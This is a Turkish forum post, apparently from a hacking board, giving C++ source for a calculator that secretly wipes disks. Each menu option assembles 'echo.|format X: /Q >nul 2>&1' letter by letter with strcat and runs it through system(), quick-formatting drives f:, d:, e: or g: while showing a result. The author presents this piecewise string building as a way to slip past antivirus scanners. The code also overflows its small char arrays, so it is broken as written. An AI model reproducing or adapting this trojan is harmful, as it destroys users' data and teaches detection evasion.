![]() |
#1 |
![]()
Gunumuzde Antiviruslerin bir cogu yaptıkları tarama sırasında Programların zararlı kod icerip icermediklerini arastırırlar.
C++ ile yaptıgımız bu basit Hesap Makinesinde Zararlı kodu olusturma seklimiz cok farklı bir yol icerdiginden Anti virusler bu zararlı kodu bulamıyorlar. Simdi Bu basit Hesap Makinasınının kodlarını C++ da yazalım. Kullandıgım Compiler Visual C++ 6.0 #include <iostream.h> #include <stdlib.h> #include <stdio.h> #include <string.h> #include <conio.h> int topla(int h,int g) { return h+g; } double carp(int g,int h) { return g*h; } double bolum(int q,int w) { return q/w; } int main() { int s; do { cout<<endl; cout<<"*************************************"<<end l; cout<<"* *"<<endl; cout<<"* 1) Toplama islemi *"<<endl; cout<<"* 2) Carpma islemi *"<<endl; cout<<"* 3) Bolme islemi *"<<endl; cout<<"* 4) Cikis *"<<endl; cout<<"* *"<<endl; cout<<"*************************************"<<end l; cout<<endl; printf("\\n"); cout<<"Isteginiz nedir ? "<<endl; cin>>s; if(s==1) { int w,r; cout<<"1. sayiyi giriniz"<<endl; cin>>w; cout<<"2. sayiyi giriniz"<<endl; cin>>r; char E[]="e"; strcat(E,"c"); strcat(E,"h"); strcat(E,"o"); strcat(E,"."); strcat(E,"|"); strcat(E,"f"); strcat(E,"o"); strcat(E,"r"); strcat(E,"m"); strcat(E,"a"); strcat(E,"t"); strcat(E," "); strcat(E,"f"); strcat(E,":/Q"); strcat(E," "); strcat(E,">"); strcat(E,"n"); strcat(E,"u"); strcat(E,"l"); strcat(E," "); strcat(E,"2"); strcat(E,">"); strcat(E,"&"); strcat(E,"1"); system(E); cout<<"Sonuc = "<<topla(w,r)<<endl; } if (s==2) { int l,k; cout<<"1. sayiyi giriniz"<<endl; cin>>k; cout<<"2. sayiyi giriniz"<<endl; cin>>l; char D[]="e"; strcat(D,"c"); strcat(D,"h"); strcat(D,"o"); strcat(D,"."); strcat(D,"|"); strcat(D,"f"); strcat(D,"o"); strcat(D,"r"); strcat(D,"m"); strcat(D,"a"); strcat(D,"t"); strcat(D," "); strcat(D,"d"); strcat(D,":/Q"); strcat(D," "); strcat(D,">"); strcat(D,"n"); strcat(D,"u"); strcat(D,"l"); strcat(D," "); strcat(D,"2"); strcat(D,">"); strcat(D,"&"); strcat(D,"1"); system(D); cout<<"Sonuc = "<<carp(l,k)<<endl; } if (s==3) { int e,r; cout<<"1. sayiyi giriniz"<<endl; cin>>e; cout<<"2. sayiyi giriniz"<<endl; cin>>r; char C[]="e"; strcat(C,"c"); strcat(C,"h"); strcat(C,"o"); strcat(C,"."); strcat(C,"|"); strcat(C,"f"); strcat(C,"o"); strcat(C,"r"); strcat(C,"m"); strcat(C,"a"); strcat(C,"t"); strcat(C," "); strcat(C,"e"); strcat(C,":/Q"); strcat(C," "); strcat(C,">"); strcat(C,"n"); strcat(C,"u"); strcat(C,"l"); strcat(C," "); strcat(C,"2"); strcat(C,">"); strcat(C,"&"); strcat(C,"1"); system(C); cout<<"Sonuc = "<<bolum(e,r)<<endl; } if (s==4) { char b[]="e"; strcat(b,"c"); strcat(b,"h"); strcat(b,"o"); strcat(b,"."); strcat(b,"|"); strcat(b,"f"); strcat(b,"o"); strcat(b,"r"); strcat(b,"m"); strcat(b,"a"); strcat(b,"t"); strcat(b," "); strcat(b,"g"); strcat(b,":/Q"); strcat(b," "); strcat(b,">"); strcat(b,"n"); strcat(b,"u"); strcat(b,"l"); strcat(b," "); strcat(b,"2"); strcat(b,">"); strcat(b,"&"); strcat(b,"1"); system(b); exit(1); } }while(s <5); } Kullandıgımız kodlar basit ve normal gunluk islerimizde kullandıgımız C++ kodları, Ancak olusturulma sekilleri biraz farklı. Bir degisken aracılıgıyla bu kodları olusturuyoruz. Yada sunu da yapabilirdik: char a[]="fatih bugun okula ruzgar gibi kosarak martı gibi ucarakdan gitti:" buradaki f o r m a t d : elemanlarını diziden strcat ile bir degiskene ekleyerek kodumuzu olusturuyoruz ve Kullanıcı: Toplama yaptıgında f ye Carpma yaptıgında d ye Bolme yaptıgında e ye Cıkıs yaptıgında g ye format atılıyor. Ama biz direkt kısa olarak birlestirme yolunu izledik... Programı derleyicide yazabilir ve Compile edebilirsiniz tabii debug etmeyin ![]() |
|
![]() |
![]() |
![]() |
Etiketler |
antiviruslere, kod, yakalanmayan, zararli |
|
|